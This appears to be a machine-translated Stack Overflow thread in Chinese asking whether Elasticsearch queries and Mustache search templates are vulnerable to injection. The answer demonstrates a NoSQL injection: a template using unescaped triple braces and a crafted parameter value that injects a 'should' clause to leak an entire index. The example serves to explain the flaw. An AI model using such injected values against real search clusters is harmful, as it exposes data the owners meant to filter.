我在后端使用QueryBuilders构建了一个Elasticsearch查询。集群不会直接暴露在互联网上,只能通过后台访问。
我注意到我为它提供了非santized的用户输入,这让我想起了SQL注入。我知道如何防止SQL注入,但我不确定QueryBuilder是否可以转义输入?
我发现有一种叫做“搜索模板”的东西,它使用八字胡。他们可能会正确地避开内容吗?它们是预防此类问题的“方法”吗?
我甚至不确定有问题的用户输入会是什么样子。在使用QueryBuilder时,我不认为查询的HTTP METHOD可以更改。
也许脚本可能是个问题,但这是可以禁用的。
重申我的问题:代码注入是Elasticsearch的问题吗?如果是,缓解它们的最好方法是什么?
谢谢!:)
发布于 2019-02-20 13:21:19
你可以在ES中找到所有的previously detected security flaws,但是NoSQL注入从来不是其中之一...到目前为止。
但是,您可以找到讨论如何做到这一点的some literature。另外,一些other discussions and resources可能值得一读。
作为一个快速示例,在使用利用Mustache模板语言的搜索模板时,创建NoSQL注入攻击是绝对可能的。例如,假设我们有以下两个文档:
PUT attack/doc/1
{
"field1": 2,
"field2": 1
}
PUT attack/doc/2
{
"field1": 2,
"field2": 2
}field1上的模板查询(错误地)使用了三个八字胡:
POST _scripts/attack
{
"script": {
"lang": "mustache",
"source": """
{
"query": {
"bool": {
"filter": [
{
"term": {
"field1": {{{field}}}
}
},
{
"range": {
"field2": {
"gte": 2
}
}
}
]
}
}
}
"""
}
}通过为field参数巧妙地选择一个值,我们可以泄漏整个索引:
POST attack/_search/template
{
"id": "attack",
"params": {
"field": "2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}"
}
}最后的查询将如下所示,即我们能够插入一个基本上泄漏整个索引的shoul子句:
{
"query" : {
"bool" : {
"filter" : [
{
"term" : {
"field1" : 2
}
}
],
"should" : [
{
"range" : {
"field2" : {
"lte" : 2
}
}
},
{
"range" : {
"field2" : {
"gte" : 2
}
}
}
]
}
}
}https://stackoverflow.com/questions/54769528
复制相似问题